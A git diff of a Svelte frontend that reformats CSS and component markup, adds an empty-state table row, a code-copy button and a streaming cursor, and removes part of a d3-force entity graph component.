font-weight: 600;
|
||||
}
|
||||
.prose-chat :global(th),
|
||||
.prose-chat :global(td) {
|
||||
border: 1px solid var(--border);
|
||||
.markdown-body.prose-chat :global(th),
|
||||
.markdown-body.prose-chat :global(td) {
|
||||
padding: 0.3rem 0.6rem;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.prose-chat :global(blockquote) {
|
||||
.markdown-body.prose-chat :global(blockquote) {
|
||||
border-left: 3px solid var(--primary);
|
||||
padding-left: 0.75rem;
|
||||
color: var(--muted-foreground);
|
||||
margin: 0 0 0.5rem;
|
||||
font-style: italic;
|
||||
position: relative;
|
||||
}
|
||||
@@ -405,7 +543,13 @@
|
||||
border: none;
|
||||
height: 1px;
|
||||
margin: 0.75rem 0;
|
||||
background: linear-gradient(to right, transparent, var(--border) 20%, var(--border) 80%, transparent);
|
||||
background: linear-gradient(
|
||||
to right,
|
||||
transparent,
|
||||
var(--border) 20%,
|
||||
var(--border) 80%,
|
||||
transparent
|
||||
);
|
||||
}
|
||||
|
||||
/* Bold is emphasis, not color — dark weight reads cleanly and lets the
|
||||
@@ -415,8 +559,7 @@
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.prose-chat :global(a) {
|
||||
color: var(--primary);
|
||||
.markdown-body.prose-chat :global(a) {
|
||||
text-decoration: underline;
|
||||
text-decoration-style: dotted;
|
||||
text-underline-offset: 2px;
|
||||
@@ -433,4 +576,58 @@
|
||||
background: linear-gradient(to right, transparent, var(--primary), transparent);
|
||||
opacity: 0.3;
|
||||
}
|
||||
|
||||
/* Code copy button — global: injected via render() into {html} blocks */
|
||||
.prose-chat :global(.code-block-wrapper) {
|
||||
position: relative;
|
||||
}
|
||||
.prose-chat :global(.code-copy-btn) {
|
||||
position: absolute;
|
||||
top: 0.375rem;
|
||||
right: 0.375rem;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
width: 1.5rem;
|
||||
height: 1.5rem;
|
||||
border-radius: 0.375rem;
|
||||
color: var(--muted-foreground);
|
||||
opacity: 0;
|
||||
transition:
|
||||
opacity 0.15s,
|
||||
color 0.15s;
|
||||
cursor: pointer;
|
||||
border: none;
|
||||
background: transparent;
|
||||
}
|
||||
.prose-chat :global(.code-block-wrapper:hover .code-copy-btn) {
|
||||
opacity: 1;
|
||||
}
|
||||
.prose-chat :global(.code-copy-btn:hover) {
|
||||
color: var(--foreground);
|
||||
background: var(--muted);
|
||||
}
|
||||
|
||||
/* Streaming cursor — blinking block appended after streaming text */
|
||||
.stream-cursor {
|
||||
display: inline-block;
|
||||
width: 0.55em;
|
||||
height: 1.1em;
|
||||
background: var(--primary);
|
||||
opacity: 0.75;
|
||||
border-radius: 1px;
|
||||
margin-left: 1px;
|
||||
vertical-align: text-bottom;
|
||||
animation: cursor-blink 0.9s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes cursor-blink {
|
||||
0%,
|
||||
100% {
|
||||
opacity: 0.75;
|
||||
}
|
||||
50% {
|
||||
opacity: 0;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
|
||||
@@ -21,7 +21,9 @@
|
||||
let canvas = $state<HTMLCanvasElement | null>(null)
|
||||
let particles: Particle[] = []
|
||||
let mouse = { x: -500, y: -500 }
|
||||
let w = 0, h = 0, dpr = 1
|
||||
let w = 0,
|
||||
h = 0,
|
||||
dpr = 1
|
||||
let timer: ReturnType<typeof setTimeout> | 0 = 0
|
||||
|
||||
function spawn() {
|
||||
@@ -73,15 +75,15 @@
|
||||
// update + draw particles
|
||||
for (const p of particles) {
|
||||
// autonomous drift
|
||||
p.vx += (Math.sin(t * 0.4 + p.phase) * 0.003) * 0.15
|
||||
p.vy += (Math.cos(t * 0.35 + p.phase) * 0.003) * 0.15
|
||||
p.vx += Math.sin(t * 0.4 + p.phase) * 0.003 * 0.15
|
||||
p.vy += Math.cos(t * 0.35 + p.phase) * 0.003 * 0.15
|
||||
|
||||
// mouse interaction
|
||||
const dx = p.x - mouse.x
|
||||
const dy = p.y - mouse.y
|
||||
const dist = Math.sqrt(dx * dx + dy * dy)
|
||||
if (dist < MOUSE_RADIUS && dist > 0) {
|
||||
const force = (MOUSE_RADIUS - dist) / MOUSE_RADIUS * MOUSE_FORCE
|
||||
const force = ((MOUSE_RADIUS - dist) / MOUSE_RADIUS) * MOUSE_FORCE
|
||||
p.vx += (dx / dist) * force * 0.6
|
||||
p.vy += (dy / dist) * force * 0.6
|
||||
}
|
||||
@@ -104,9 +106,7 @@
|
||||
|
||||
// pulse brightness
|
||||
const alpha = p.pulse * (0.35 + 0.15 * Math.sin(t * 1.2 + p.phase))
|
||||
ctx.fillStyle = dark
|
||||
? `rgba(140,175,230,${alpha})`
|
||||
: `rgba(60,90,140,${alpha})`
|
||||
ctx.fillStyle = dark ? `rgba(140,175,230,${alpha})` : `rgba(60,90,140,${alpha})`
|
||||
ctx.beginPath()
|
||||
ctx.arc(p.x, p.y, p.r, 0, Math.PI * 2)
|
||||
ctx.fill()
|
||||
@@ -123,9 +123,7 @@
|
||||
const dist = dx * dx + dy * dy
|
||||
if (dist < CONNECT_DIST * CONNECT_DIST) {
|
||||
const alpha = (1 - Math.sqrt(dist) / CONNECT_DIST) * 0.18
|
||||
ctx.strokeStyle = dark
|
||||
? `rgba(140,175,230,${alpha})`
|
||||
: `rgba(60,90,140,${alpha})`
|
||||
ctx.strokeStyle = dark ? `rgba(140,175,230,${alpha})` : `rgba(60,90,140,${alpha})`
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(a.x, a.y)
|
||||
ctx.lineTo(b.x, b.y)
|
||||
@@ -135,7 +133,8 @@
|
||||
}
|
||||
|
||||
// radial scrim to keep center legible
|
||||
const cx = w / 2, cy = h / 2
|
||||
const cx = w / 2,
|
||||
cy = h / 2
|
||||
const scrim = ctx.createRadialGradient(cx, cy, 0, cx, cy, Math.hypot(cx, cy))
|
||||
const base = dark ? '13,17,23' : '255,255,255'
|
||||
scrim.addColorStop(0, `rgba(${base},0.72)`)
|
||||
|
||||
@@ -22,14 +22,20 @@
|
||||
</script>
|
||||
|
||||
<Collapsible.Root bind:open class="rounded-md border bg-card">
|
||||
<Collapsible.Trigger class="flex w-full cursor-pointer select-none items-center justify-between gap-2 px-2 py-1 text-left hover:bg-muted/50">
|
||||
<Collapsible.Trigger
|
||||
class="flex w-full cursor-pointer select-none items-center justify-between gap-2 px-2 py-1 text-left hover:bg-muted/50"
|
||||
>
|
||||
<span class="text-xs font-medium">{title}{count !== undefined ? ` (${count})` : ''}</span>
|
||||
<ChevronDownIcon
|
||||
class="size-3.5 shrink-0 text-muted-foreground transition-transform duration-200 {open ? 'rotate-180' : ''}"
|
||||
class="size-3.5 shrink-0 text-muted-foreground transition-transform duration-200 {open
|
||||
? 'rotate-180'
|
||||
: ''}"
|
||||
aria-hidden="true"
|
||||
/>
|
||||
</Collapsible.Trigger>
|
||||
<Collapsible.Content class="overflow-hidden data-[state=closed]:animate-out data-[state=closed]:fade-out data-[state=open]:animate-in data-[state=open]:fade-in">
|
||||
<Collapsible.Content
|
||||
class="overflow-hidden data-[state=closed]:animate-out data-[state=closed]:fade-out data-[state=open]:animate-in data-[state=open]:fade-in"
|
||||
>
|
||||
<div class="border-t px-2 py-1.5">
|
||||
{@render children()}
|
||||
</div>
|
||||
|
||||
20
web/src/lib/components/EmptyState.svelte
Normal file
@@ -0,0 +1,20 @@
|
||||
<script lang="ts">
|
||||
let {
|
||||
message = 'No items.',
|
||||
colspan = 999,
|
||||
class: className
|
||||
}: {
|
||||
message?: string
|
||||
colspan?: number
|
||||
class?: string
|
||||
} = $props()
|
||||
</script>
|
||||
|
||||
<tr>
|
||||
<td
|
||||
{colspan}
|
||||
class={['py-8 text-center text-muted-foreground', className].filter(Boolean).join(' ')}
|
||||
>
|
||||
{message}
|
||||
</td>
|
||||
</tr>
|
||||
@@ -62,7 +62,9 @@
|
||||
// (source OR target = entity, both directions), so a plain split by which
|
||||
// side matches is enough — no risk of an unrelated sibling-to-sibling edge
|
||||
// sneaking into either group.
|
||||
const outgoingRelations = $derived(entity ? relations.filter((r) => r.source === entity!.slug) : [])
|
||||
const outgoingRelations = $derived(
|
||||
entity ? relations.filter((r) => r.source === entity!.slug) : []
|
||||
)
|
||||
const incomingRelations = $derived(
|
||||
entity ? relations.filter((r) => r.target === entity!.slug && r.source !== entity!.slug) : []
|
||||
)
|
||||
@@ -203,13 +205,23 @@
|
||||
body?: string
|
||||
}
|
||||
|
||||
const LONG_TEXT_KEYS = new Set(['description', 'content', 'summary', 'notes', 'note', 'body', 'details'])
|
||||
const LONG_TEXT_KEYS = new Set([
|
||||
'description',
|
||||
'content',
|
||||
'summary',
|
||||
'notes',
|
||||
'note',
|
||||
'body',
|
||||
'details'
|
||||
])
|
||||
|
||||
function isChangelog(value: unknown): value is ChangelogEntry[] {
|
||||
return (
|
||||
Array.isArray(value) &&
|
||||
value.length > 0 &&
|
||||
value.every((v) => v && typeof v === 'object' && !Array.isArray(v) && ('title' in v || 'body' in v))
|
||||
value.every(
|
||||
(v) => v && typeof v === 'object' && !Array.isArray(v) && ('title' in v || 'body' in v)
|
||||
)
|
||||
)
|
||||
}
|
||||
|
||||
@@ -263,14 +275,22 @@
|
||||
</div>
|
||||
<div class="flex items-center justify-between gap-3 border-b pb-1">
|
||||
<dt class="shrink-0 text-muted-foreground">State</dt>
|
||||
<dd>{#if entity.state}<Badge>{entity.state}</Badge>{:else}<span class="text-muted-foreground">—</span>{/if}</dd>
|
||||
<dd>
|
||||
{#if entity.state}<Badge>{entity.state}</Badge>{:else}<span
|
||||
class="text-muted-foreground">—</span
|
||||
>{/if}
|
||||
</dd>
|
||||
</div>
|
||||
<div class="flex items-center justify-between gap-3 border-b pb-1">
|
||||
<dt class="shrink-0 text-muted-foreground">Health</dt>
|
||||
<dd>
|
||||
{#if entity.health}
|
||||
<span class="flex items-center gap-1.5" title="checked {relativeTime(entity.last_check_at)}">
|
||||
<span class="size-2 rounded-full {healthDot[entity.health] ?? healthDot.unknown}"></span>
|
||||
<span
|
||||
class="flex items-center gap-1.5"
|
||||
title="checked {relativeTime(entity.last_check_at)}"
|
||||
>
|
||||
<span class="size-2 rounded-full {healthDot[entity.health] ?? healthDot.unknown}"
|
||||
></span>
|
||||
{entity.health} · checked {relativeTime(entity.last_check_at)}
|
||||
</span>
|
||||
{:else}
|
||||
@@ -286,7 +306,11 @@
|
||||
<dt class="shrink-0 text-muted-foreground">Created</dt>
|
||||
<dd title={entity.created_at}>{relativeTime(entity.created_at)}</dd>
|
||||
</div>
|
||||
<div class="flex items-center justify-between gap-3 {entity.maintenance_until ? 'border-b pb-1' : ''}">
|
||||
<div
|
||||
class="flex items-center justify-between gap-3 {entity.maintenance_until
|
||||
? 'border-b pb-1'
|
||||
: ''}"
|
||||
>
|
||||
<dt class="shrink-0 text-muted-foreground">Updated</dt>
|
||||
<dd title={entity.updated_at}>{relativeTime(entity.updated_at)}</dd>
|
||||
</div>
|
||||
@@ -313,7 +337,9 @@
|
||||
onclick={() => toggleCheck(check)}
|
||||
title={check.enabled ? 'Click to disable' : 'Click to enable'}
|
||||
>
|
||||
<Badge variant={check.enabled ? 'default' : 'secondary'}>{check.enabled ? 'enabled' : 'disabled'}</Badge>
|
||||
<Badge variant={check.enabled ? 'default' : 'secondary'}
|
||||
>{check.enabled ? 'enabled' : 'disabled'}</Badge
|
||||
>
|
||||
</button>
|
||||
</div>
|
||||
{:else}
|
||||
@@ -324,8 +350,10 @@
|
||||
|
||||
{#snippet contentContent()}
|
||||
{#if ownContent}
|
||||
<!-- eslint-disable-next-line svelte/no-at-html-tags — sanitized via DOMPurify -->
|
||||
<div class="prose-chat max-w-none text-xs">{@html renderMarkdown(ownContent.content)}</div>
|
||||
<div class="markdown-body max-w-none text-xs">
|
||||
<!-- eslint-disable-next-line svelte/no-at-html-tags — sanitized via DOMPurify -->
|
||||
{@html renderMarkdown(ownContent.content)}
|
||||
</div>
|
||||
{:else}
|
||||
<p class="text-xs text-muted-foreground">No content.</p>
|
||||
{/if}
|
||||
@@ -339,7 +367,9 @@
|
||||
{#if row.kind === 'long-text'}
|
||||
<div class="flex flex-col gap-0.5">
|
||||
<p class="font-mono text-muted-foreground">{row.key}</p>
|
||||
<p class="whitespace-pre-wrap break-words rounded-md bg-muted/40 p-1.5">{row.value}</p>
|
||||
<p class="whitespace-pre-wrap break-words rounded-md bg-muted/40 p-1.5">
|
||||
{row.value}
|
||||
</p>
|
||||
</div>
|
||||
{:else if row.kind === 'changelog'}
|
||||
<div class="flex flex-col gap-0.5">
|
||||
@@ -348,10 +378,16 @@
|
||||
{#each row.value as entry}
|
||||
<div class="rounded-sm border-l-2 border-muted-foreground/30 pl-1.5">
|
||||
<div class="flex items-baseline gap-1.5">
|
||||
{#if entry.date}<span class="shrink-0 font-mono text-muted-foreground">{entry.date}</span>{/if}
|
||||
{#if entry.date}<span class="shrink-0 font-mono text-muted-foreground"
|
||||
>{entry.date}</span
|
||||
>{/if}
|
||||
{#if entry.title}<span class="font-medium">{entry.title}</span>{/if}
|
||||
</div>
|
||||
{#if entry.body}<p class="whitespace-pre-wrap break-words text-muted-foreground">{entry.body}</p>{/if}
|
||||
{#if entry.body}<p
|
||||
class="whitespace-pre-wrap break-words text-muted-foreground"
|
||||
>
|
||||
{entry.body}
|
||||
</p>{/if}
|
||||
</div>
|
||||
{/each}
|
||||
</div>
|
||||
@@ -373,7 +409,12 @@
|
||||
<dt class="shrink-0 font-mono text-muted-foreground">{row.key}</dt>
|
||||
<dd class="min-w-0 flex-1 break-words text-right">
|
||||
{#if row.value !== null && typeof row.value === 'object'}
|
||||
<pre class="overflow-x-auto whitespace-pre-wrap break-words text-left">{JSON.stringify(row.value, null, 2)}</pre>
|
||||
<pre
|
||||
class="overflow-x-auto whitespace-pre-wrap break-words text-left">{JSON.stringify(
|
||||
row.value,
|
||||
null,
|
||||
2
|
||||
)}</pre>
|
||||
{:else}
|
||||
{String(row.value)}
|
||||
{/if}
|
||||
@@ -390,13 +431,27 @@
|
||||
{#snippet relationRow(rel: Relationship)}
|
||||
<div class="flex min-w-0 items-center gap-1 font-mono text-xs">
|
||||
{#if onSelectEntity}
|
||||
<button type="button" class="min-w-0 flex-1 truncate text-left hover:underline hover:text-foreground" title={rel.source} onclick={() => onSelectEntity(rel.source)}>{truncateMiddle(rel.source)}</button>
|
||||
<button
|
||||
type="button"
|
||||
class="min-w-0 flex-1 truncate text-left hover:underline hover:text-foreground"
|
||||
title={rel.source}
|
||||
onclick={() => onSelectEntity(rel.source)}>{truncateMiddle(rel.source)}</button
|
||||
>
|
||||
<span class="shrink-0 text-muted-foreground">—{rel.type}→</span>
|
||||
<button type="button" class="min-w-0 flex-1 truncate text-left hover:underline hover:text-foreground" title={rel.target} onclick={() => onSelectEntity(rel.target)}>{truncateMiddle(rel.target)}</button>
|
||||
<button
|
||||
type="button"
|
||||
class="min-w-0 flex-1 truncate text-left hover:underline hover:text-foreground"
|
||||
title={rel.target}
|
||||
onclick={() => onSelectEntity(rel.target)}>{truncateMiddle(rel.target)}</button
|
||||
>
|
||||
{:else}
|
||||
<span class="min-w-0 flex-1 truncate" title={rel.source}>{truncateMiddle(rel.source)}</span>
|
||||
<span class="min-w-0 flex-1 truncate" title={rel.source}
|
||||
>{truncateMiddle(rel.source)}</span
|
||||
>
|
||||
<span class="shrink-0 text-muted-foreground">—{rel.type}→</span>
|
||||
<span class="min-w-0 flex-1 truncate" title={rel.target}>{truncateMiddle(rel.target)}</span>
|
||||
<span class="min-w-0 flex-1 truncate" title={rel.target}
|
||||
>{truncateMiddle(rel.target)}</span
|
||||
>
|
||||
{/if}
|
||||
</div>
|
||||
{/snippet}
|
||||
@@ -408,7 +463,11 @@
|
||||
<div class="flex flex-col gap-3">
|
||||
{#if outgoingRelations.length}
|
||||
<div>
|
||||
<div class="mb-1 text-[10px] font-medium tracking-wide text-muted-foreground uppercase">Outgoing ({outgoingRelations.length})</div>
|
||||
<div
|
||||
class="mb-1 text-[10px] font-medium tracking-wide text-muted-foreground uppercase"
|
||||
>
|
||||
Outgoing ({outgoingRelations.length})
|
||||
</div>
|
||||
<div class="flex flex-col gap-1">
|
||||
{#each outgoingRelations as rel}
|
||||
{@render relationRow(rel)}
|
||||
@@ -418,7 +477,11 @@
|
||||
{/if}
|
||||
{#if incomingRelations.length}
|
||||
<div>
|
||||
<div class="mb-1 text-[10px] font-medium tracking-wide text-muted-foreground uppercase">Incoming ({incomingRelations.length})</div>
|
||||
<div
|
||||
class="mb-1 text-[10px] font-medium tracking-wide text-muted-foreground uppercase"
|
||||
>
|
||||
Incoming ({incomingRelations.length})
|
||||
</div>
|
||||
<div class="flex flex-col gap-1">
|
||||
{#each incomingRelations as rel}
|
||||
{@render relationRow(rel)}
|
||||
@@ -492,21 +555,32 @@
|
||||
{#snippet tasksContent()}
|
||||
<div class="flex flex-col gap-1">
|
||||
{#each tasks as { task, executionCount } (task.id)}
|
||||
{@const title = typeof task.attributes?.title === 'string' ? task.attributes.title : task.name}
|
||||
{@const outcome = typeof task.attributes?.outcome === 'string' ? task.attributes.outcome : undefined}
|
||||
<div class="flex items-center justify-between gap-2 border-b pb-1 text-xs last:border-0 last:pb-0">
|
||||
{@const title =
|
||||
typeof task.attributes?.title === 'string' ? task.attributes.title : task.name}
|
||||
{@const outcome =
|
||||
typeof task.attributes?.outcome === 'string' ? task.attributes.outcome : undefined}
|
||||
<div
|
||||
class="flex items-center justify-between gap-2 border-b pb-1 text-xs last:border-0 last:pb-0"
|
||||
>
|
||||
{#if onSelectEntity}
|
||||
<button type="button" class="min-w-0 flex-1 truncate text-left hover:underline hover:text-foreground" title={title} onclick={() => onSelectEntity(task.slug)}>
|
||||
<button
|
||||
type="button"
|
||||
class="min-w-0 flex-1 truncate text-left hover:underline hover:text-foreground"
|
||||
{title}
|
||||
onclick={() => onSelectEntity(task.slug)}
|
||||
>
|
||||
{title}
|
||||
</button>
|
||||
{:else}
|
||||
<span class="min-w-0 flex-1 truncate" title={title}>{title}</span>
|
||||
<span class="min-w-0 flex-1 truncate" {title}>{title}</span>
|
||||
{/if}
|
||||
<div class="flex shrink-0 items-center gap-1">
|
||||
{#if outcome}
|
||||
<Badge variant={outcome === 'success' ? 'default' : 'destructive'}>{outcome}</Badge>
|
||||
{/if}
|
||||
<Badge variant="outline">{executionCount} action{executionCount === 1 ? '' : 's'}</Badge>
|
||||
<Badge variant="outline"
|
||||
>{executionCount} action{executionCount === 1 ? '' : 's'}</Badge
|
||||
>
|
||||
</div>
|
||||
</div>
|
||||
{:else}
|
||||
@@ -545,8 +619,12 @@
|
||||
{#each agentActivity as activity (activity.id)}
|
||||
<div class="flex flex-col gap-0.5 border-b pb-1 text-xs last:border-0 last:pb-0">
|
||||
<div class="flex items-center justify-between gap-2">
|
||||
<span class="font-mono text-muted-foreground">{new Date(activity.ts).toLocaleString()}</span>
|
||||
<Badge variant={activity.success === false ? 'destructive' : 'outline'}>{activity.activity_type}</Badge>
|
||||
<span class="font-mono text-muted-foreground"
|
||||
>{new Date(activity.ts).toLocaleString()}</span
|
||||
>
|
||||
<Badge variant={activity.success === false ? 'destructive' : 'outline'}
|
||||
>{activity.activity_type}</Badge
|
||||
>
|
||||
</div>
|
||||
<span class="truncate text-muted-foreground"
|
||||
>{activity.agent_id}{activity.tool_name ? ` · ${activity.tool_name}` : ''}</span
|
||||
@@ -563,10 +641,14 @@
|
||||
{#each auditEntries as entry (entry.id)}
|
||||
<div class="flex flex-col gap-0.5 border-b pb-1 text-xs last:border-0 last:pb-0">
|
||||
<div class="flex items-center justify-between gap-2">
|
||||
<span class="font-mono text-muted-foreground">{new Date(entry.ts).toLocaleString()}</span>
|
||||
<span class="font-mono text-muted-foreground"
|
||||
>{new Date(entry.ts).toLocaleString()}</span
|
||||
>
|
||||
<Badge variant="outline">{entry.actor_type}</Badge>
|
||||
</div>
|
||||
<span class="truncate text-muted-foreground">{entry.actor_id ?? '—'} · {entry.action}</span>
|
||||
<span class="truncate text-muted-foreground"
|
||||
>{entry.actor_id ?? '—'} · {entry.action}</span
|
||||
>
|
||||
</div>
|
||||
{:else}
|
||||
<p class="text-xs text-muted-foreground">No audit entries.</p>
|
||||
@@ -575,17 +657,34 @@
|
||||
{/snippet}
|
||||
|
||||
{@const sections = [
|
||||
...(ownContent ? [{ key: 'content', title: 'Content', count: 1, content: contentContent }] : []),
|
||||
...(ownContent
|
||||
? [{ key: 'content', title: 'Content', count: 1, content: contentContent }]
|
||||
: []),
|
||||
{ key: 'details', title: 'Details', count: 1, content: detailsContent },
|
||||
{ key: 'monitoring', title: 'Monitoring', count: checks.length, content: monitoringContent },
|
||||
{ key: 'attributes', title: 'Attributes', count: Object.keys(entity.attributes ?? {}).length, content: attributesContent },
|
||||
{ key: 'relations', title: 'Relations', count: outgoingRelations.length + incomingRelations.length, content: relationsContent },
|
||||
{
|
||||
key: 'attributes',
|
||||
title: 'Attributes',
|
||||
count: Object.keys(entity.attributes ?? {}).length,
|
||||
content: attributesContent
|
||||
},
|
||||
{
|
||||
key: 'relations',
|
||||
title: 'Relations',
|
||||
count: outgoingRelations.length + incomingRelations.length,
|
||||
content: relationsContent
|
||||
},
|
||||
{ key: 'metrics', title: 'Metrics', count: metrics.length, content: metricsContent },
|
||||
{ key: 'signals', title: 'Signals', count: signals.length, content: signalsContent },
|
||||
{ key: 'tasks', title: 'Tasks', count: tasks.length, content: tasksContent },
|
||||
{ key: 'knowledge', title: 'Knowledge', count: knowledge.length, content: knowledgeContent },
|
||||
{ key: 'events', title: 'Recent events', count: events.length, content: eventsContent },
|
||||
{ key: 'agentActivity', title: 'Agent activity', count: agentActivity.length, content: agentActivityContent },
|
||||
{
|
||||
key: 'agentActivity',
|
||||
title: 'Agent activity',
|
||||
count: agentActivity.length,
|
||||
content: agentActivityContent
|
||||
},
|
||||
{ key: 'audit', title: 'Audit trail', count: auditEntries.length, content: auditContent }
|
||||
].sort((a, b) => (b.count > 0 ? 1 : 0) - (a.count > 0 ? 1 : 0))}
|
||||
|
||||
@@ -596,67 +695,3 @@
|
||||
{/each}
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
<style>
|
||||
/* Minimal markdown styling for document/investigation/runbook content —
|
||||
mirrors Chat.svelte's .prose-chat (Svelte scopes styles per-component,
|
||||
so it can't be shared directly). */
|
||||
.prose-chat :global(p) {
|
||||
margin: 0 0 0.5rem;
|
||||
}
|
||||
.prose-chat :global(p:last-child) {
|
||||
margin-bottom: 0;
|
||||
}
|
||||
.prose-chat :global(ul),
|
||||
.prose-chat :global(ol) {
|
||||
margin: 0 0 0.5rem;
|
||||
padding-left: 1.25rem;
|
||||
}
|
||||
.prose-chat :global(li) {
|
||||
margin-bottom: 0.125rem;
|
||||
}
|
||||
.prose-chat :global(code) {
|
||||
background: var(--muted);
|
||||
border-radius: 4px;
|
||||
padding: 0.1em 0.35em;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 0.85em;
|
||||
}
|
||||
.prose-chat :global(pre) {
|
||||
background: var(--muted);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 8px;
|
||||
padding: 0.625rem 0.75rem;
|
||||
overflow-x: auto;
|
||||
margin: 0 0 0.5rem;
|
||||
}
|
||||
.prose-chat :global(pre code) {
|
||||
background: none;
|
||||
padding: 0;
|
||||
font-size: 0.8125rem;
|
||||
}
|
||||
.prose-chat :global(h1),
|
||||
.prose-chat :global(h2),
|
||||
.prose-chat :global(h3) {
|
||||
font-weight: 600;
|
||||
margin: 0.75rem 0 0.375rem;
|
||||
font-size: 1em;
|
||||
}
|
||||
.prose-chat :global(table) {
|
||||
border-collapse: collapse;
|
||||
margin: 0 0 0.5rem;
|
||||
font-size: 0.8125rem;
|
||||
}
|
||||
.prose-chat :global(th),
|
||||
.prose-chat :global(td) {
|
||||
border: 1px solid var(--border);
|
||||
padding: 0.25rem 0.5rem;
|
||||
text-align: left;
|
||||
}
|
||||
.prose-chat :global(blockquote) {
|
||||
border-left: 3px solid var(--border);
|
||||
padding-left: 0.75rem;
|
||||
color: var(--muted-foreground);
|
||||
margin: 0 0 0.5rem;
|
||||
}
|
||||
</style>
|
||||
|
||||
@@ -1,504 +0,0 @@
|
||||
<script lang="ts">
|
||||
import { onMount, onDestroy } from 'svelte'
|
||||
import { forceSimulation, forceLink, forceManyBody, forceCenter, forceCollide, forceX, forceY, type Simulation } from 'd3-force'
|
||||
import { fetchGraph, type GraphView, type Entity, type Health } from '$lib/api'
|
||||
import { liveEvents, subscribeEvents } from '$lib/stores/events'
|
||||
import { Skeleton } from '$lib/components/ui/skeleton'
|
||||
|
||||
export interface GraphInfo {
|
||||
allRelTypes: string[]
|
||||
relColors: Map<string, string>
|
||||
visibleCount: number
|
||||
truncated: boolean
|
||||
zoomPct: number
|
||||
}
|
||||
|
||||
let {
|
||||
selectedSlug = null,
|
||||
onSelect,
|
||||
root = $bindable(''),
|
||||
depth,
|
||||
search,
|
||||
reloadToken,
|
||||
resetToken,
|
||||
// Owned by the parent (shared with the entity table's type filter) —
|
||||
// this graph only reads it to decide what's in focus, never writes it.
|
||||
activeNodeTypes,
|
||||
activeRelTypes = $bindable(new Set<string>()),
|
||||
info = $bindable<GraphInfo>({ allRelTypes: [], relColors: new Map(), visibleCount: 0, truncated: false, zoomPct: 100 })
|
||||
}: {
|
||||
selectedSlug?: string | null
|
||||
onSelect: (slug: string | null) => void
|
||||
root?: string
|
||||
depth: number
|
||||
search: string
|
||||
// Bumped by the parent toolbar to request a data reload / view reset —
|
||||
// these controls live in the shared page toolbar (not squeezed inside
|
||||
// this resizable pane), so they can't call load()/resetView() directly.
|
||||
reloadToken: number
|
||||
resetToken: number
|
||||
activeNodeTypes: Set<string>
|
||||
activeRelTypes?: Set<string>
|
||||
info?: GraphInfo
|
||||
} = $props()
|
||||
|
||||
interface Node extends Entity {
|
||||
x?: number
|
||||
y?: number
|
||||
vx?: number
|
||||
vy?: number
|
||||
fx?: number | null
|
||||
fy?: number | null
|
||||
degree: number
|
||||
}
|
||||
interface Link {
|
||||
source: string | Node
|
||||
target: string | Node
|
||||
type: string
|
||||
}
|
||||
|
||||
// SVG ids are document-global, not scoped to this <svg> — see
|
||||
// SessionGraph.svelte's dotGridId for why this needs a per-instance suffix
|
||||
// (also covers the per-relationship-type arrow markers below, which were
|
||||
// keyed only by type name and would collide the same way across two
|
||||
// mounted EntityGraph instances).
|
||||
const uid = crypto.randomUUID().slice(0, 8)
|
||||
const dotGridId = `dot-grid-${uid}`
|
||||
|
||||
let graph = $state<GraphView | null>(null)
|
||||
let loading = $state(true)
|
||||
let nodes = $state<Node[]>([])
|
||||
let links = $state<Link[]>([])
|
||||
let sim: Simulation<Node, Link> | null = null
|
||||
|
||||
let hoveredId = $state<string | null>(null)
|
||||
|
||||
// viewport transform: translate(x, y) scale(k)
|
||||
let view = $state({ x: 0, y: 0, k: 1 })
|
||||
let svgEl = $state<SVGSVGElement | null>(null)
|
||||
|
||||
const width = 1200
|
||||
const height = 800
|
||||
|
||||
const healthColor: Record<Health, string> = {
|
||||
healthy: '#3fb950',
|
||||
degraded: '#d29922',
|
||||
down: '#f85149',
|
||||
unknown: '#8b949e'
|
||||
}
|
||||
|
||||
const relPalette = ['#58a6ff', '#3fb950', '#d29922', '#f85149', '#bc8cff', '#39c5cf', '#f0883e', '#db61a2']
|
||||
const relColorByType = $derived.by(() => {
|
||||
const map = new Map<string, string>()
|
||||
const types = Array.from(new Set(links.map((l) => l.type))).sort()
|
||||
types.forEach((t, i) => map.set(t, relPalette[i % relPalette.length]))
|
||||
return map
|
||||
})
|
||||
|
||||
function relColor(type: string): string {
|
||||
return relColorByType.get(type) ?? '#30363d'
|
||||
}
|
||||
|
||||
function markerId(type: string): string {
|
||||
return `arrow-${uid}-` + type.replace(/[^a-z0-9]/gi, '_')
|
||||
}
|
||||
|
||||
function endpoint(end: string | Node): Node | undefined {
|
||||
return typeof end === 'object' ? end : nodes.find((n) => n.id === end)
|
||||
}
|
||||
function endpointId(end: string | Node): string {
|
||||
return typeof end === 'object' ? end.id : end
|
||||
}
|
||||
|
||||
async function load() {
|
||||
loading = true
|
||||
graph = await fetchGraph({ root: root || undefined, depth, includeStatus: true })
|
||||
loading = false
|
||||
if (!graph) return
|
||||
|
||||
const byId = new Map(nodes.map((n) => [n.id, n]))
|
||||
const degree = new Map<string, number>()
|
||||
const idBySlug = new Map(graph.nodes.map((n) => [n.slug, n.id]))
|
||||
for (const e of graph.edges) {
|
||||
const s = idBySlug.get(e.source) ?? e.source
|
||||
const t = idBySlug.get(e.target) ?? e.target
|
||||
degree.set(s, (degree.get(s) ?? 0) + 1)
|
||||
degree.set(t, (degree.get(t) ?? 0) + 1)
|
||||
}
|
||||
|
||||
nodes = graph.nodes.map((n) => {
|
||||
const prev = byId.get(n.id)
|
||||
return { ...n, x: prev?.x, y: prev?.y, degree: degree.get(n.id) ?? 0 }
|
||||
})
|
||||
links = graph.edges.map((e) => ({
|
||||
source: idBySlug.get(e.source) ?? e.source,
|
||||
target: idBySlug.get(e.target) ?? e.target,
|
||||
type: e.type
|
||||
}))
|
||||
|
||||
// Edge-type toggles default to everything present — node-type toggles
|
||||
// are owned by the parent (activeNodeTypes) and persist across reloads.
|
||||
activeRelTypes = new Set(links.map((l) => l.type))
|
||||
|
||||
sim?.stop()
|
||||
sim = forceSimulation(nodes)
|
||||
.force('link', forceLink<Node, Link>(links).id((n) => n.id).distance(70).strength(0.6))
|
||||
.force('charge', forceManyBody().strength(-240).distanceMax(400))
|
||||
.force('center', forceCenter(width / 2, height / 2))
|
||||
.force('collide', forceCollide<Node>((n) => nodeRadius(n) + 8))
